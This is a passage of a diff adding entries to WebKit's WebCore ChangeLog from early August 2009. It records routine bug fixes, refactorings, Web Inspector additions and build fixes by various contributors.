+        (WebCore::WorkerContext::isSharedWorkerContext):
+        (WebCore::WorkerContext::isDedicatedWorkerContext):
+        Added APIs to determine the type of a given context.
+
+2009-08-06  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by David Hyatt.
+
+        Added ENABLE_3D_CANVAS flag to build, default to off
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2009-08-06  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] windowsKeyCodeForKeyEvent fix
+
+        Fix windowsKeyCodeForKeyEvent to determine wheter the event comes from the keypad.
+
+        * platform/qt/PlatformKeyboardEventQt.cpp:
+        (WebCore::windowsKeyCodeForKeyEvent):
+        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
+
+2009-08-06  George Staikos  <george.staikos@torchmobile.com>
+
+        Rubber-stamped by Ariya Hidayat.
+
+        Remove the dead wince/ directory that should never have gone in.
+
+        * svg/graphics/wince: Removed.
+        * svg/graphics/wince/SVGResourceFilterWince.cpp: Removed.
+
+2009-08-06  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Extract style editing into a separate file that is
+        going to be loaded in page context.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27939
+
+        * inspector/front-end/InjectedScript.js: Added.
+        (InjectedScript.applyStyleText):
+        (InjectedScript.setStyleText):
+        (InjectedScript.toggleStyleEnabled):
+        (InjectedScript.setStyleRule):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted.callback):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.StylePropertyTreeElement.prototype.):
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2009-08-06  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        [V8] Remove bug-bait V8Proxy::context()
+        https://bugs.webkit.org/show_bug.cgi?id=27826
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::updateDocumentWrapperCache):
+        (WebCore::V8Proxy::initContextIfNeeded):
+        (WebCore::V8Proxy::mainWorldContext):
+        * bindings/v8/V8Proxy.h:
+
+2009-08-06  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed attempt to fix the Chromium Linux build.  This function is
+        not used.
+
+        * bindings/v8/OwnHandle.h:
+
+2009-08-06  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Teach ScheduledAction::execute about isolated worlds
+        https://bugs.webkit.org/show_bug.cgi?id=27703
+
+        We now save a weak handle to the original context.  We use that handle
+        to call the timeout in the right context / world.
+
+        Tests: http/tests/security/isolatedWorld/window-setTimeout-function.html
+               http/tests/security/isolatedWorld/window-setTimeout-string.html
+
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::ScheduledAction):
+        (WebCore::ScheduledAction::execute):
+        * bindings/v8/ScheduledAction.h:
+        (WebCore::ScheduledAction::ScheduledAction):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::SetTimeoutOrInterval):
+
+2009-08-05  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [V8] Revert http://trac.webkit.org/changeset/46821, which was
+        landed to supplement http://trac.webkit.org/changeset/46816, but
+        now that the latter is reverted, the former needs the same.
+
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+
+2009-08-05  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Color is only reported in rgb() format; should toggle between rgb() and hex
+        https://bugs.webkit.org/show_bug.cgi?id=13516
+
+          New Class to Parse and Change Between Color Representations:
+
+        * inspector/front-end/Color.js: Added.
+        (WebInspector.Color):
+
+          Representations of Colors in Raw Form. (May be Lazy Loaded):
+
+        (WebInspector.Color.prototype.get shorthex):
+        (WebInspector.Color.prototype.get hex):
+        (WebInspector.Color.prototype.set hex):
+        (WebInspector.Color.prototype.get rgb):
+        (WebInspector.Color.prototype.set rgb):
+        (WebInspector.Color.prototype.get hsl):
+        (WebInspector.Color.prototype.set hsl):
+        (WebInspector.Color.prototype.get nickname):
+        (WebInspector.Color.prototype.set nickname):
+        (WebInspector.Color.prototype.get rgba):
+        (WebInspector.Color.prototype.set rgba):
+        (WebInspector.Color.prototype.get hsla):
+        (WebInspector.Color.prototype.set hsla):
+
+          Helpers and Standard String Representations:
+
+        (WebInspector.Color.prototype.hasShortHex):
+        (WebInspector.Color.prototype.toRgb):
+        (WebInspector.Color.prototype.toHsl):
+        (WebInspector.Color.prototype.toShortHex):
+        (WebInspector.Color.prototype.toHex):
+        (WebInspector.Color.prototype.toRgba):
+        (WebInspector.Color.prototype.toHsla):
+        (WebInspector.Color.prototype.toNickname):
+
+          Conversion Functions to Determine Other Representations:
+          My Sources for all algorithms and sample data:
+          Wikipedia: http://en.wikipedia.org/wiki/HSV_color_space
+          CSS Specification: http://www.w3.org/TR/css3-color/#hsla-color
+
+        (WebInspector.Color.prototype.rgbToHex):
+        (WebInspector.Color.prototype.hexToRgb):
+        (WebInspector.Color.prototype.rgbToHsl):
+        (WebInspector.Color.prototype.hslToRgb.hueToRgb):
+        (WebInspector.Color.prototype.hslToRgb):
+        (WebInspector.Color.prototype.rgbaToHsla):
+        (WebInspector.Color.prototype.hslaToRgba):
+
+          Called from the constructor, attempts to parse and will throw an error
+          if it cannot parse.  If simple then the "hex" value is guarenteed.
+          If advanced then both the "rgba" and "hsla" are guarenteed.  If it is
+          a nickname in any way (e.g. "transparent", "black") then this is
+          guarenteed to be set as well.
+
+        (WebInspector.Color.prototype.parse):
+
+          Clicking on the swatch will rotate through Color Representations.
+            Simple:   rgb -> hsl -> nickname? -> shorthex? -> hex -> (loop around)
+            Advanced: rgba -> hsla -> nickname? -> (loop around)
+
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.value.):
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle):
+
+          Load Color.js:
+
+        * inspector/front-end/inspector.html:
+
+2009-08-05  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Support setting event listeners for message ports in the worker process.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28004
+
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::retrieve):
+        (WebCore::WorkerContextExecutionProxy::EventTargetToV8Object):
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::getEventListener):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-08-05  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        http://bugs.webkit.org/show_bug.cgi?id=28022
+
+        Minor fix for media code on chromium/skia.
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::paintMediaSliderTrack):
+
+2009-08-05  Darin Adler  <darin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Client side image maps did not handle zoom correctly.
+        Client side image maps did not handle border and padding correctly.
+
+        Test: fast/images/image-map-zoom.html
+
+        * rendering/RenderImage.cpp:
+        (WebCore::RenderImage::nodeAtPoint): Compute the values to pass in to the map
+        element using the content box and the effective zoom.
+
+2009-08-05  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28027
+        <rdar://7064428> Files with accents in names are submitted incorrectly due to use of
+        precomposed Unicode
+
+        * platform/network/mac/FormDataStreamMac.mm: (WebCore::setHTTPBody): Use getFileSize() from
+        FileSystem.h instead of custom code for getting file size. This adds path normalization
+        necessary with some file systems on Mac. This also loses a S_IFMT check, which didn't seem
+        important anyway.
+
+2009-08-05  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [V8] Include Media into V8 bindings.
+
+        * bindings/v8/DOMObjectsInclude.h: Added Media include.
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Added V8Media include.
+        * bindings/v8/V8Index.cpp: Added decl for V8Media.
+        * bindings/v8/V8Index.h: Added V8Media include.
+
+2009-08-04  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Fix Windows layout test crashes.
+
+        PluginView::removeFromUnstartedListIfNecessary() would try to remove
+        any unstarted PluginView from the Page's set of unstarted plug-ins,
+        regardless of why the PluginView wasn't started. If we tried to start a
+        plug-in, but it failed to start, we would hit an assertion in
+        Page::removeUnstartedPlugin() that asserts that we would only modify the
+        unstarted plug-ins set if we were not currently starting plug-ins.
+
+        Fix this by having PluginView track whether it's waiting to be started,
+        and to check this before trying to remove itself from the Page's
+        unstarted plug-ins set.
+
+        Reviewed by Darin Adler.
+
+        * page/Page.cpp:
+        (WebCore::Page::removeUnstartedPlugin):
+        Assert that the passed PluginView is in the unstarted set.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::start):
+        Set that we are not waiting to be started.
+        (WebCore::PluginView::startOrAddtoUnstartedList):
+        Set that we are waiting to be started.
+        (WebCore::PluginView::removeFromUnstartedListIfNecessary):
+        Check not whether we are started, but whether we are waiting to be
+        started.
+        (WebCore::PluginView::PluginView):
+
+        * plugins/PluginView.h:
+
+2009-08-05  Jeremy Orlow  <jorlow@chromium.org>
+
+       Fix DOM Storage memory leak
+       https://bugs.webkit.org/show_bug.cgi?id=28029
+
+       Forgot to use adoptRef in one place.  This caused the = operator to
+       increment the ref count when it shouldn't have, so StorageAreaImpl's were
+       never freed.
+
+        * storage/StorageNamespaceImpl.cpp:
+        (WebCore::StorageNamespaceImpl::storageArea):
+
+2009-08-05  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Let CodeGeneratorV8.pm know that Media is ref-counted.
+
+        * bindings/scripts/CodeGeneratorV8.pm: Added Media check to IsRefPtrType.
+
+2009-08-05  Darin Adler  <darin@apple.com>
+
+        Reviewed by David Levin.
+
+        Use checked casts for render tree
+        https://bugs.webkit.org/show_bug.cgi?id=23522
+
+        Last patch. Makes all the casts of RenderObject use checked
+        casts instead of using static_cast directly.
+
+        * accessibility/AccessibilityListBox.cpp:
+        (WebCore::AccessibilityListBox::visibleChildren):
+        (WebCore::AccessibilityListBox::doAccessibilityHitTest):
+        * accessibility/AccessibilityListBoxOption.cpp:
+        (WebCore::AccessibilityListBoxOption::elementRect):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::textUnderElement):
+        (WebCore::AccessibilityRenderObject::stringValue):
+        (WebCore::AccessibilityRenderObject::titleUIElement):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        * accessibility/AccessibilitySlider.cpp:
+        (WebCore::AccessibilitySliderThumb::elementRect):
+        * dom/InputElement.cpp:
+        (WebCore::InputElement::updatePlaceholderVisibility):
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::scrollToSelection):
+        (WebCore::SelectElement::recalcStyle):
+        (WebCore::SelectElement::setRecalcListItems):
+        (WebCore::SelectElement::menuListDefaultEventHandler):
+        (WebCore::SelectElement::listBoxDefaultEventHandler):
+        * editing/BreakBlockquoteCommand.cpp:
+        (WebCore::BreakBlockquoteCommand::doApply):
+        * html/HTMLAppletElement.cpp:
+        (WebCore::HTMLAppletElement::renderWidgetForJSBindings):
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::reset):
+        * html/HTMLEmbedElement.cpp:
+        (WebCore::HTMLEmbedElement::updateWidget):
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::attach):
+        * html/HTMLFrameSetElement.cpp:
+        (WebCore::HTMLFrameSetElement::defaultEventHandler):
+        * html/HTMLIFrameElement.cpp:
+        (WebCore::HTMLIFrameElement::attach):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::defaultEventHandler):
+        (WebCore::HTMLInputElement::addSearchResult):
+        (WebCore::HTMLInputElement::onSearch):
+        * html/HTMLLIElement.cpp:
+        (WebCore::HTMLLIElement::parseMappedAttribute):
+        (WebCore::HTMLLIElement::attach):
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::setReadyState):
+        (WebCore::HTMLMediaElement::mediaPlayerDurationChanged):
+        (WebCore::HTMLMediaElement::mediaPlayerSizeChanged):
+        (WebCore::HTMLMediaElement::mediaPlayerRenderingCanBeAccelerated):
+        (WebCore::HTMLMediaElement::mediaPlayerGraphicsLayer):
+        (WebCore::HTMLMediaElement::defaultEventHandler):
+        (WebCore::HTMLMediaElement::finishParsingChildren):
+        * html/HTMLOListElement.cpp:
+        (WebCore::HTMLOListElement::parseMappedAttribute):
+        * html/HTMLObjectElement.cpp:
+        (WebCore::HTMLObjectElement::updateWidget):
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::defaultEventHandler):
+        * page/DragController.cpp:
+        (WebCore::DragController::concludeEditDrag):
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::selectCursor):
+        (WebCore::EventHandler::capsLockStateMayHaveChanged):
+        * page/Frame.cpp:
+        (WebCore::Frame::ownerRenderer):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::detachCustomScrollbars):
+        * page/wince/FrameWince.cpp:
+        (WebCore::computePageRectsForFrame):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::placeBoxesHorizontally):
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlTimelineElement::defaultEventHandler):
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::findNextLineBreak):
+        * rendering/RenderCounter.cpp:
+        (WebCore::planCounter):
+        * rendering/RenderFrameSet.cpp:
+        (WebCore::RenderFrameSet::computeEdgeInfo):
+        (WebCore::RenderFrameSet::setIsResizing):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::contentsBox):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateBacking):
+        (WebCore::RenderLayerCompositor::requiresCompositingForVideo):
+        * rendering/RenderListItem.cpp:
+        (WebCore::previousListItem):
+        (WebCore::RenderListItem::explicitValueChanged):
+        * rendering/RenderObject.cpp:
+        (WebCore::updateListMarkerNumbers):
+        * rendering/RenderObjectChildList.cpp:
+        (WebCore::updateListMarkerNumbers):
+        (WebCore::invalidateCountersInContainer):
+        * rendering/RenderScrollbarTheme.cpp:
+        (WebCore::RenderScrollbarTheme::minimumThumbLength):
+        (WebCore::RenderScrollbarTheme::backButtonRect):
+        (WebCore::RenderScrollbarTheme::forwardButtonRect):
+        (WebCore::RenderScrollbarTheme::trackRect):
+        (WebCore::RenderScrollbarTheme::constrainTrackRectToTrackPieces):
+        (WebCore::RenderScrollbarTheme::paintScrollbarBackground):
+        (WebCore::RenderScrollbarTheme::paintTrackBackground):
+        (WebCore::RenderScrollbarTheme::paintTrackPiece):
+        (WebCore::RenderScrollbarTheme::paintButton):
+        (WebCore::RenderScrollbarTheme::paintThumb):
+        * rendering/RenderSlider.cpp:
+        (WebCore::SliderThumbElement::defaultEventHandler):
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::RenderThemeChromiumMac::paintSliderThumb):
+        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::RenderThemeChromiumWin::determineSliderThumbState):
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::paintSliderThumb):
+        * rendering/RenderThemeSafari.cpp:
+        (WebCore::RenderThemeSafari::paintSliderThumb):
+        * rendering/RenderThemeWin.cpp:
+        (WebCore::RenderThemeWin::determineSliderThumbState):
+        * rendering/SVGCharacterLayoutInfo.cpp:
+        (WebCore::SVGCharacterLayoutInfo::addLayoutInformation):
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::findSVGRootObject):
+        * rendering/TextControlInnerElements.cpp:
+        (WebCore::RenderTextControlInnerBlock::nodeAtPoint):
+        (WebCore::SearchFieldResultsButtonElement::defaultEventHandler):
+        * svg/SVGImageElement.cpp:
+        (WebCore::SVGImageElement::attach):
+        * svg/SVGMarkerElement.cpp:
+        (WebCore::SVGMarkerElement::canvasResource):
+        * svg/SVGTextContentElement.cpp:
+        (WebCore::rootInlineBoxForTextContentElement):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::defaultEventHandler):
+        Use checked casts.
+
+        * rendering/RenderApplet.h:
+        * rendering/RenderCounter.h:
+        * rendering/RenderFieldset.h:
+        * rendering/RenderFileUploadControl.h:
+        * rendering/RenderFrame.h:
+        * rendering/RenderFrameSet.h:
+        * rendering/RenderHTMLCanvas.h:
+        * rendering/RenderListBox.h:
+        * rendering/RenderListItem.h:
+        * rendering/RenderListMarker.h:
+        * rendering/RenderMedia.h:
+        * rendering/RenderMenuList.h:
+        * rendering/RenderPart.h:
+        * rendering/RenderPartObject.h:
+        * rendering/RenderPath.h:
+        * rendering/RenderSVGContainer.h:
+        * rendering/RenderSVGRoot.h:
+        * rendering/RenderSVGTextPath.h:
+        * rendering/RenderSVGViewportContainer.h:
+        * rendering/RenderScrollbar.h:
+        * rendering/RenderSlider.h:
+        * rendering/RenderTextControlMultiLine.h:
+        * rendering/RenderTextControlSingleLine.h:
+        * rendering/RenderVideo.h:
+        Added a checked cast. Also made most members protected or private.
+
+        * rendering/RenderBlock.h:
+        * rendering/RenderInline.h:
+        * rendering/RenderReplaced.h:
+        * rendering/RenderSVGBlock.h:
+        * rendering/RenderSVGImage.h:
+        * rendering/RenderSVGInlineText.h:
+        * rendering/RenderSVGText.h:
+        * rendering/RenderTextControl.h:
+        Made most members protected or private.
+
+        * rendering/RenderInline.cpp:
+        * rendering/RenderSVGContainer.cpp:
+        * rendering/RenderSVGHiddenContainer.cpp:
+        * rendering/RenderSVGImage.cpp:
+        * rendering/RenderSVGRoot.cpp:
+        Removed unneeded destructor.
+
+        * rendering/RenderSVGHiddenContainer.h:
+        Removed unneeded virtual function overrides that did the same as
+        the default and base class.
+
+        * rendering/RenderSVGViewportContainer.cpp:
+        (WebCore::RenderSVGViewportContainer::paint): Updated to use m_viewport
+        directly instead of using a function call.
+        (WebCore::RenderSVGViewportContainer::applyViewportClip): Ditto.
+        (WebCore::RenderSVGViewportContainer::viewportTransform): Ditto.
+        (WebCore::RenderSVGViewportContainer::localToParentTransform): Ditto.
+        (WebCore::RenderSVGViewportContainer::pointIsInsideViewportClip): Ditto.
+
+        * rendering/RenderScrollbar.cpp:
+        (WebCore::pseudoForScrollbarPart): Changed switch statement to use cases for
+        all values instead of using a default case.
+
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::operator<<): Removed dependency on casting to types that don't
+        have any public members we need to get at. Instead, use function names to
+        identify the type rather than doing so much overloading. Changed to use
+        checked casts.
+        (WebCore::write): Ditto.
+
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::renderSubtreeToImage): Changed to use a checked cast and also
+        added a comment about the fact that the code does not do sufficient type
+        checking before doing the cast.
+
+        * rendering/SVGRenderTreeAsText.cpp:
+        (WebCore::writeRenderSVGTextBox): Renamed this from operator<<.
+        (WebCore::writeSVGInlineTextBoxes): Renamed this from writeSVGInlineText.
+        (WebCore::writeSVGText): Renamed this from write.
+        (WebCore::writeSVGInlineText): Ditto.
+        (WebCore::writeSVGImage): Ditto.
+        * rendering/SVGRenderTreeAsText.h: Updated for name changes. Removed
+        unneeded default arguments.
+
+2009-08-05  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27851
+        Fix a pair of compiler warnings on the GTK Linux buildbot.
+
+        * platform/image-decoders/bmp/BMPImageDecoder.cpp:
+        (WebCore::BMPImageDecoder::processFileHeader): Don't use multi-character constants, they're not portable.
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::setSize): Simpler code that also doesn't compare signed with unsigned.
+
+2009-08-05  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26460
+        Return multiple icon entries from the ICO decoder as separate frames,
+        sorted by decreasing quality (much like the CG ICO decoder does).
+
+        As a result of this change, we can eliminate the Skia-specific setData()
+        hack that the Chromium port used to select the desired icon size -- now
+        callers can just enumerate the frames and ask for the data from the one
+        they like.
+        
+        Under the hood, the ICO decoder now keeps vectors for a number of things
+        (including directory entries and image decoders) where it used to have
+        single members.  However, callers (that I have seen) will only request
+        one frame from the icon, so practically there aren't going to be lots of
+        instantiated image decoders.
+
+        * platform/graphics/ImageSource.h: Move |m_decoder| back to private now that Skia no longer needs to access it.
+        * platform/graphics/cairo/ImageSourceCairo.cpp:
+        (WebCore::createDecoder): Remove size argument from ICO decoder instantiation.
+        * platform/graphics/skia/ImageSourceSkia.cpp:
+        (WebCore::createDecoder): Remove size argument from ICO decoder instantiation.
+        (WebCore::ImageSource::setData): Remove function to ask for a particular icon size.
+        * platform/graphics/skia/ImageSourceSkia.h: Removed.
+        * platform/graphics/wx/ImageSourceWx.cpp:
+        (WebCore::createDecoder): Remove size argument from ICO decoder instantiation.
+        * platform/image-decoders/ico/ICOImageDecoder.cpp:
+        (WebCore::ICOImageDecoder::ICOImageDecoder):
+        (WebCore::ICOImageDecoder::~ICOImageDecoder): Delete all instantiated per-frame decoders.
+        (WebCore::ICOImageDecoder::setData): Send data to all instantiated per-frame decoders.
+        (WebCore::ICOImageDecoder::isSizeAvailable): Use size from icon directory instead of PNG decoder (if applicable) so we can report it without decoding the PNG frames.
+        (WebCore::ICOImageDecoder::size): Report frame-specific size if BMP decoder is calling.  Otherwise, use size from icon directory instead of PNG decoder (if applicable).
+        (WebCore::ICOImageDecoder::frameSizeAtIndex): Implement.
+        (WebCore::ICOImageDecoder::setSize): Sanity check value if BMP decoder is calling.
+        (WebCore::ICOImageDecoder::frameCount): Implement.
+        (WebCore::ICOImageDecoder::frameBufferAtIndex): Sanity check size for PNG frames.
+        (WebCore::ICOImageDecoder::compareEntries): Add utility function for sorting entries.
+        (WebCore::ICOImageDecoder::setDataForPNGDecoderAtIndex): Factor out utility function for passing correct data blob to a PNG decoder.
+        (WebCore::ICOImageDecoder::decodeWithCheckForDataEnded): Split decode() into two pieces.
+        (WebCore::ICOImageDecoder::decodeDirectory): The first part of the old decode().
+        (WebCore::ICOImageDecoder::decodeAtIndex): The second part of the old decode(), split off so we avoid decoding an entry until it's requested.
+        (WebCore::ICOImageDecoder::processDirectory): Add resizing of internal data structures based on directory contents.
+        (WebCore::ICOImageDecoder::processDirectoryEntries): Sort entries by quality.
+        (WebCore::ICOImageDecoder::imageTypeAtIndex): Return type to caller instead of setting a member.
+        * platform/image-decoders/ico/ICOImageDecoder.h:
+
+2009-08-05  Szabo Carol  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27942
+
+        Test: fast/forms/select-reset-multiple-selections-4-single-selection.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::reset):
+           Added HTML 4.01 compliant handling of broken webpages that
+           specify more than one selected option for single selection SELECT
+           element, in a manner that emulates Firefox and is similar to IE 7
+
+
+2009-08-05  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+
+        Reviewed by Simon Hausmann.
+
+        WebCore.pro bugfix
+
+        Fix the gperf lines to properly include the string.h header at compilation with gperf version 3.0.3 and newer.
+
+        * WebCore.pro:
+
+2009-08-05  Chris Fleizach  <cfleizach@apple.com>
+
+        Fix Tiger build breakage.
+
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+
+2009-08-04  Simon Hausmann  <hausmann@webkit.org>
+
+        Prospective build fix for Qt build bot: Fix dependency of HTMLNames.cpp
+        to both source files, HTMLTagNames.in and HTMLAttributeNames.in
+
+        * WebCore.pro:
+
+2009-08-04  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Keypress should exit from pan scrolling mode.
+        https://bugs.webkit.org/show_bug.cgi?id=28005
+
+        Change the logic from only exiting pan scrolling on escape to exiting on any key press,
+        making it easier for users to back out of an accidental pan scroll.
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::keyEvent):
+        
+2009-08-04  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Simon Fraser.
+
+        REGRESSION (r45064): Drop caret remains in text control after the mouse exits
+        https://bugs.webkit.org/show_bug.cgi?id=26787
+
+        Add back missing dragController()->clear() call.
+
+        * manual-tests/drag-caret.html: Added.
+        * page/DragController.cpp:
+        (WebCore::DragController::tryDocumentDrag):
+
+2009-08-04  Chris Fleizach  <cfleizach@apple.com>
+
+        Bug 27994 - WAI-ARIA: aria-valuetext needs to be implemented
+        https://bugs.webkit.org/show_bug.cgi?id=27994
+
+        Forgot to commit attribute names.
+
+        * html/HTMLAttributeNames.in:
+
+2009-08-04  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27994 - WAI-ARIA: aria-valuetext needs to be implemented
+        https://bugs.webkit.org/show_bug.cgi?id=27994
+
+        Test: platform/mac/accessibility/aria-valuetext.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::valueDescription):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::valueDescription):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        * html/HTMLAttributeNames.in:
+
+2009-08-04  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27821
+
+        No new features, no new tests. Existing layout tests pass.
+
+        * WebCore.base.exp:
+
+        Export AppliationCacheGroup::storeCopyOfCache
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+        Restore DOMApplicationCache.h and ApplicationCacheHost.h to 'project' headers
+        instead of 'private' headers since they're no longer in the DocumentLoader.h
+        include graph.
+
+        * html/HTMLHtmlElement.cpp:
+        (WebCore::HTMLHtmlElement::insertedIntoDocument):
+
+        Reinstate the test for manifest.isNull instead of .isEmtpty().
+        Added a FIXME to revisit once the spec gets clarified.
+        
+        * loader/DocumentLoader.cpp:
+        (WebCore::DocumentLoader::DocumentLoader):
+        (WebCore::DocumentLoader::mainReceivedError):
+        (WebCore::DocumentLoader::detachFromFrame):
+        * loader/DocumentLoader.h:
+        (WebCore::DocumentLoader::applicationCacheHost):
+
+        ApplicationCacheHost is held in an OwnPtr<> by DocumentLoader. This was done
+        for compile time friendliness, it results in a smaller include graph for files
+        dependent on DocumentLoader.h.
+
+        * loader/FrameLoader.cpp:
+        * loader/MainResourceLoader.cpp:
+        * loader/ResourceLoader.cpp:
+
+        Cleanup ussage of ENABLE(xxx) around includes, generally remove those guards.
+        This was done for readability at the include site. The included files contain appropriate guards,
+        so they're not needed at the include site.
+
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::selectCache):
+        (WebCore::ApplicationCacheGroup::finishedLoadingMainResource):
+        (WebCore::ApplicationCacheGroup::failedLoadingMainResource):
+        (WebCore::ApplicationCacheGroup::update):
+        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
+        (WebCore::ApplicationCacheGroup::manifestNotFound):
+        (WebCore::ApplicationCacheGroup::checkIfLoadIsComplete):
+        (WebCore::ApplicationCacheGroup::startLoadingEntry):
+        (WebCore::CallCacheListenerTask::create):
+        (WebCore::CallCacheListenerTask::performTask):
+        (WebCore::CallCacheListenerTask::CallCacheListenerTask):
+        (WebCore::ApplicationCacheGroup::postListenerTask):
+        * loader/appcache/ApplicationCacheGroup.h:
+
+        Use ApplicationCachHost defined constants, no longer depends on DOMApplicationCache.
+
+        * loader/appcache/ApplicationCacheHost.cpp:
+        (WebCore::ApplicationCacheHost::ApplicationCacheHost):
+        (WebCore::ApplicationCacheHost::setDOMApplicationCache):
+        (WebCore::ApplicationCacheHost::notifyEventListener):
+        (WebCore::ApplicationCacheHost::status):
+        * loader/appcache/ApplicationCacheHost.h:
+        (WebCore::ApplicationCacheHost::):
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::storeCopyOfCache):
+        * loader/appcache/ApplicationCacheStorage.h:
+
+        Merge recently added transferApplicationCache and pre-existing storeCopyOfCache methods.
+
+        * loader/appcache/DOMApplicationCache.cpp:
+        (WebCore::DOMApplicationCache::status):
+        (WebCore::DOMApplicationCache::addEventListener):
+        (WebCore::DOMApplicationCache::removeEventListener):
+        (WebCore::DOMApplicationCache::callListener):
+        (WebCore::DOMApplicationCache::toEventType):
+        (WebCore::DOMApplicationCache::toEventID):
+        * loader/appcache/DOMApplicationCache.h:
+        (WebCore::DOMApplicationCache::setAttributeEventListener):
+        (WebCore::DOMApplicationCache::getAttributeEventListener):
+        (WebCore::DOMApplicationCache::clearAttributeEventListener):
+        (WebCore::DOMApplicationCache::callEventListener):
+        (WebCore::DOMApplicationCache::setOnchecking):
+        (WebCore::DOMApplicationCache::onchecking):
